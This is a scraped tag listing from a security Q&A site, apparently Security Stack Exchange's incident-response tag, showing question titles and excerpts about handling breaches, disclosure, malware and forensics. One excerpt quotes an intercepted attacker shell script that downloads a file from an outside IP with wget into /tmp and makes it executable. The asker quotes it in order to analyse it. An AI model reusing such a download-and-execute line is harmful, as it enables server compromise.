The art of responding to incidents in an organized and thoughtful manner.

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1answer
31 views

How to analyze incidents? [closed]

I am trying to build a "cookbook" to help young security analysts to be more efficient in responding to incidents: Triaging an incident to determine if its relevant; Determining which information ...
1
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0answers
122 views

PGP-encrypted Email or SSL/TLS Webform for Responsible Disclosure Communication?

So it's a fairly simple question. When offering an avenue to security researchers for communication with us regarding disclosure of security vulnerabilities, what's the best way to do so? Assume we ...
3
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1answer
50 views

What is the definition of “multi-failure” disaster recovery?

There are several compliance and certification criteria that mention "multi-failure" disaster recovery. What exactly is the definition of this? A google search did not turn up a clear answer for me.
3
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3answers
179 views

Is it advisable to fully record terminal interaction for incident response?

We are going to be using a jump box to serve as an SSH bridge to our production systems. Assuming that operators are actually logging in to a shell on the jump box and assuming that it is possible to ...
10
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3answers
717 views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
0
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2answers
86 views

What is the incident Plan and Disaster recovery plan for Fire

My boss is asking me to prepare the fire incident Plan(IR) and Disaster recovery plan(DR), and how can we determine it is IR / DR. I am no clue on those issue. What should I do?
0
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3answers
570 views

Elaborate Hacking attempt detected - now what?

I am in the process of developing a php/mysql based web application. I took the complicated route and rather than to use a framework or anything I built the entire foundation of my app from scratch. ...
2
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2answers
85 views

How should we announce vulnerabilities in our application?

I have asked about security release notes Considerations for security release notes I need additional clarification about security vulnerabilities announcement. We create major release of our product ...
6
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1answer
112 views

Considerations for security release notes

I need help with understanding how to manage security release notes for our product. We create major release of our product about each half years and security or maintenance releases each month. What ...
5
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4answers
410 views

Is it harmful to redirect web bugs to localhost on hosts file?

I was checking the article hosts file on Wikipedia, and I found this: Blocking access to servers of unwanted content by redirecting them to the local host (127.0.0.1) may have security ...
0
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2answers
89 views

Is there any any security threat due to advertisements?

I was working on my localhost in my computer but I was connected to internet. Recently I downloaded a few music files and since then advertisements are getting popping into my browser through which I ...
38
votes
9answers
4k views

What to do when I found a spyware that my spouse has installed?

Today I was trying to uninstall some application and I was very surprised to see this entry in my applications list Then I try to find what is this and I finally found it in "Program Files". After ...
0
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2answers
308 views

Transmitting malicious code over audio speakers

In a post that reads like science-fiction, a security researcher claims that malicious code was being passed between computers. A few quotes: ... "badBIOS," as Ruiu dubbed the malware, has the ...
16
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2answers
825 views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
8
votes
4answers
533 views

I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
32
votes
4answers
2k views

Why did my provider reset my password after someone else attempted to gain access to my account?

Recently a provider (of SIP trunking services) I subscribe to sent me a strange email. It claimed that someone in another country attempted to reset the password to my account and was unsuccessful in ...
8
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4answers
3k views

Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
6
votes
1answer
127 views

How to encourage responsible disclosure (and react appropriately otherwise)

As a conscientious programmer, I put security as one of the core requirements of every product I develop. To prevent flaws from being introduced, I promote a culture of awareness (e.g. make sure that ...
5
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3answers
288 views

How I can prove that SSH attacks are not from my application?

My ruby on rails web application is hosted on Linode. Linode opened a ticket and blamed my Linode server for attacking other servers. The logs revealed that it's a SSH brute force attack which ...
4
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2answers
435 views

How can I find the malicious/backdoor codes without knowing the last modified date?

Last night my website got hacked and attacker edited the main index.php. I was wondering even he edited that file, the last modified date did not change. so I just worry if he would put the backdoor ...
4
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3answers
169 views

Responsible Disclosures and Getting Sued

Lots of websites like Google, Facebook etc acknowledge the white hat hackers on their sites for reporting security vulnerability. But for the vulnerability reporter is it safe from legal perspective ? ...
7
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3answers
1k views

What does a court need to successfully prosecute a hacker? Please cite previous cases if possible

Once a business decides it is worthwhile to persue legal action against the attacker, what information and processes should be followed so that: Integrity of the investigation is maintained The ...
5
votes
2answers
5k views

How can I detect/withstand DNS amplification attack?

I am a developer, and I am trying to get an insight into what could I do to enable my application to withstand a DNS amplification kind of attacks. Would such prevention methods help against DOS type ...
4
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2answers
151 views

Incident Reporting or Notification Policy domain?

I'm writing a company policy on how employees should handle reports of information security related events and notifications that come from vendors, customers, and from people within our organization. ...
20
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6answers
2k views

Best practices for handling computer viruses

I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ...
0
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1answer
612 views

Penetration testing job entry exam [closed]

What type of hands on tests should I expect in a interview for a entry level penetration tester? And what do examiners expect a candidate to accomplish (i.e. full compromise)? The reason I ask is ...
1
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1answer
163 views

Compromised server with psyBNC - what are our next steps?

One of our VPS servers has an install of psybnc on it. The install has been present for quite some time, and has now been brought to our attention. We have backups, but they also have psybnc on them. ...
0
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3answers
152 views

If my server was compromised, is my database safe?

I have an AWS instance running a rails app that I don't actively maintain. Since I didn't keep track of what was going on with this app, I didn't update it promptly when all the rails vulnerabilities ...
7
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4answers
334 views

Next steps after webmail account was compromised

John Doe told me the following story: I got a mail from a good friend. It just contained a single link. That seemed odd but I didn't think a lot about it. After clicking on the link, the web site ...
1
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4answers
923 views

My website has been hacked, what do i do next? [closed]

So. I couldn't see any other question like this on Sec.Se so i thought i'd ask. My public website www.foo.com has been hacked. The front page is sending it to be redirected to seoblog.fooblog.com in ...
3
votes
2answers
1k views

How to satisfy requirement 10.6 of PCI DSS?

The company I'm working for is applying for PCI compliance and I'm in charge of writing most of the required procedures and policies. The problem is that I don't have any experience with IT security, ...
3
votes
2answers
167 views

What goes into an average incident response process for a corporate network?

I'm trying to brush up on the more process-orientated and policy-orientated side of security, and am interested in incident response. I understand that most security-competent businesses have some ...
2
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1answer
93 views

Quick Security Mitigations to Impending attacks

Suppose you are the sysadmin, and you know of an impending attack that just started or about to start soon. You can either wait it out, or try a few tricks and quick mitigation to fend off attackers ...
17
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5answers
526 views

What should I do when classified information stayed on a unauthorized laptop?

Has anyone ever had to deal with an unauthorized laptop accidentally getting Top Secret level data on it? How did you quarantine the system. Were you required to turn in the entire laptop or were you ...
6
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2answers
1k views

Will reporting phishing emails cause problems for the victim?

On GMail, I've received a phishing email from someone I know, and the email has been sent to other people the victim knows. One of the emails is claiming to be from their GMail address, while the ...
1
vote
1answer
116 views

How to know what's the type of an attack and from whom is sent?

I'm currently running a game server on a dedicated Windows 7 machine and it is being attacked. How do I know what kind of attack it is and from whom is sent? When he attacks, the RDP freezes and the ...
19
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10answers
1k views

Is it ever appropriate to fight back?

When an website or system is being attacked, is there ever a scenario where it should automatically take action against the attackers rather than just passively handling the attack? If so, what ...
5
votes
1answer
256 views

Cufon or Prototype as an attack vector for Blackhole exploit kit?

I've been asked to look into the security of a client site that's apparently throwing antiviral messages when visited. Specifics: It's being detected as a Blackhole exploit kit inside of a Cufon ...
0
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1answer
2k views

Wireless Adapters for Testing with BackTrack

I would like to begin testing and working with BackTrack. I have heard that the Alfa AWUS036H wireless adapter works well with BackTrack and allows for packet injection. This adapter, however, is ...
-1
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1answer
357 views

Extremely suspicious phone call — what to do? [closed]

Two days ago, I received a call. Someone with a female, possibly asian voice asked "are you using your computer in internet right now." I said "yes", then asked "who are you?". At this point, they ...
35
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5answers
935 views

How do I respond to a published security vulnerability in my application?

In my spare time I write some PHP code the purpose of which is to block link spam and other various malicious activity. On May 11 someone who discovered an XSS vulnerability in the WordPress version ...
23
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7answers
649 views

Fostering an environment where honesty and disclosure are valued

UPDATE: The question is seeking real research based on behavior analysis of a significantly large sample people using well defined experiments. Posting answers based on opinions, or ad-hoc ...
3
votes
2answers
769 views

How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
3
votes
2answers
171 views

Ftp constantly asked for a .exe file, what can i do?

I rent a web server ("service") at a web hosting site which recently i assume got hacked but i am unsure how... I know it got hacked because recently out of the blue certain files and folder appeared ...
4
votes
3answers
440 views

What are the risks of posting my email address to pwnedlist.com?

pwnedlist.com claims to have details of over 23 million accounts that have been hacked, and if you submit your email address they'll apparently tell you if you're in the database. Are the people ...
4
votes
1answer
438 views

Outbound TFTP request to 255.255.255.255

Recently snort notified me that I have a user's computer on my network initiating an outbound TFTP request. The odd thing is the destination is 255.255.255.255 Anyone have a clue as to what this may ...
3
votes
4answers
2k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
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3answers
392 views

Why bother with attack detection?

The question below goes from a wrong assumption that attacker is able to spoof IP when making HTTP connection. But attacker isn't able to spoof IP if he doesn't have direct access to connection ...
8
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4answers
618 views

How to track a laptop after theft?

Our company had a break-in this evening and a laptop was stolen. The data on the laptop was not super-sensitive (luckily); however, we would like to be able to track the laptop if at all possible. ...
0
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1answer
342 views

IR Jump Bag - What kind of bag/container to use?

I am working on putting together an Incident Response Jump Bag (detailed here). Any suggestions on what type of container/bag to use for this? It seems like a lot of little items that could be ...